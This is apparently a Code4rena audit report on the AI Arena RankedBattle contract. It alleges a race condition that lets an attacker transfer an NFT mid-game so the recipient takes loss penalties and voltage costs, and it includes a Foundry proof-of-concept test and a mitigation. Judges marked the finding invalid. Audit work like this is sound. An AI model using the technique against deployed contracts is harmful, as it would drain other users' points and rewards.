Race conditions can occur during game execution and result processing. NFTs can be transferred and consume victim's voltage or give a loss penalty to victim

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L333 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L343 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L346

Vulnerability details

Impact

The NFT owner (victim) will receive a game-losing penalty due to race condition between on-chain and off-chain. In addition, it can consume the voltage of the victim.

By quickly calling the game start API(ex. initiate 10 games very fast) and then transferring the NFT, it's possible to exhaust the victim's voltage.

Proof of Concept

Game does not processed on onchain, so interaction between offchain and onchain is necessary. Therefore, a race condition can occur.

The game execution flow is as follows.

1. [user] Requests the server to play a game
2. [server] Validates NFT ownership and fetches data
3. [server] Generates game results
4. [server] Calls updateBattleRecord and registers results at the contract
5. [server] Waits until the updateBattleRecord transaction ends
6. [server] Gives gameplay video to the frontend
7. [user] Watches gameplay on the frontend

A race condition can occur between steps 2 and 5. Even without front-running, if the user starts a game and immediately or after a slight delay requests to transfer the NFT, the NFT can be transferred between step2 and step5.

For example, let's say that after requesting a game from the frontend, the NFT used in the game is transferred to new owner(victim) just before updateBattleRecord is called in step 4. updateBattleRecord can't know whether the user who actually played the game and the NFT owner at the time of the updateBattleRecord execution are the same. Therefore, the game result is registered to the victim. It can also consume the voltage of the victim.

function updateBattleRecord(
    uint256 tokenId, 
    uint256 mergingPortion,
    uint8 battleResult,
    uint256 eloFactor,
    bool initiatorBool
) 
    external 
{   
    require(msg.sender == _gameServerAddress);
    require(mergingPortion <= 100);
@>  address fighterOwner = _fighterFarmInstance.ownerOf(tokenId);
    require(
        !initiatorBool ||
        _voltageManagerInstance.ownerVoltageReplenishTime(fighterOwner) <= block.timestamp || 
        _voltageManagerInstance.ownerVoltage(fighterOwner) >= VOLTAGE_COST
    );

    _updateRecord(tokenId, battleResult);
    uint256 stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);
    if (amountStaked[tokenId] + stakeAtRisk > 0) {
@>      _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
    }
    if (initiatorBool) {
@>      _voltageManagerInstance.spendVoltage(fighterOwner, VOLTAGE_COST);
    }
    totalBattles += 1;
}

If a attacker creates a Poor AI, they can lose in the game on purpose. By intentionally losing in the game and transferring tokens, they can give damage the token recipient (victim). If used with another vulnerability (can transfer the staked NFT), attacker can lower the points of the victim and reduce the reward of the victim. Also, if attacker initiate a game with this NFT, attacker can force the victim to consume the voltage.

This is a PoC. Add it to the RankedBattle.t.sol file and test it.

Using a vulnerability that can transfer NFT in a staking state, move NFT and the accumulatedPointsPerAddress of the victim is reduced. This reduce the amount of reward the victim can receive.

Also, the victim's voltage is used. Voltage can be consumed regardless of whether it is staked or not. In this PoC, the game was only played once, but if attacker quickly start the game 10 times and then transfer NFT, attacker will be able to exhaust a lot of voltage of victim.

function testPoCRaceCondition() public {
    address attacker = vm.addr(3);
    address victim = vm.addr(4);
    _mintFromMergingPool(attacker);
    _mintFromMergingPool(victim);
    uint8 tokenId = 0;
    _fundUserWith4kNeuronByTreasury(attacker);
    _fundUserWith4kNeuronByTreasury(victim);
    vm.prank(attacker);
    _rankedBattleContract.stakeNRN(1, tokenId);
    assertEq(_rankedBattleContract.amountStaked(tokenId), 1);

    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true); // win game (get point)

    // victim staked
    vm.prank(victim);
    _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 1);
    assertEq(_rankedBattleContract.amountStaked(1), 3_000 * 10 ** 18);

    // victim win game, use voltage
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); // win game (victim get point)
    assertEq(_voltageManagerContract.ownerVoltage(victim), 90);
    uint256 beforeVictimPoint = _rankedBattleContract.accumulatedPointsPerAddress(victim, 0);

    // before lose game, transfer NFT. server will process game because of race condition
    vm.prank(attacker);
    _fighterFarmContract.safeTransferFrom(attacker, victim, tokenId, ""); // attacker can transfer staked NFT with safeTransferFrom(address,address,uint256,bytes)

    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true); // lose game

    assertEq(_voltageManagerContract.ownerVoltage(victim), 80); // victim voltage used
    // The victim loses points
    uint256 afterVictimPoint = _rankedBattleContract.accumulatedPointsPerAddress(victim, 0);
    assertLt(afterVictimPoint, beforeVictimPoint);
}

Recommended Mitigation Steps

Before requesting the game server, make a contract call to lock the token. After the game is over, unlock it.

Assessed type

Timing

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #136

[c4-judge]

HickupHH3 marked the issue as unsatisfactory: Invalid

[c4-judge]

HickupHH3 marked the issue as unsatisfactory: Invalid

[c4-judge]

HickupHH3 marked the issue as unsatisfactory: Invalid

[c4-judge]

HickupHH3 marked the issue as unsatisfactory: Invalid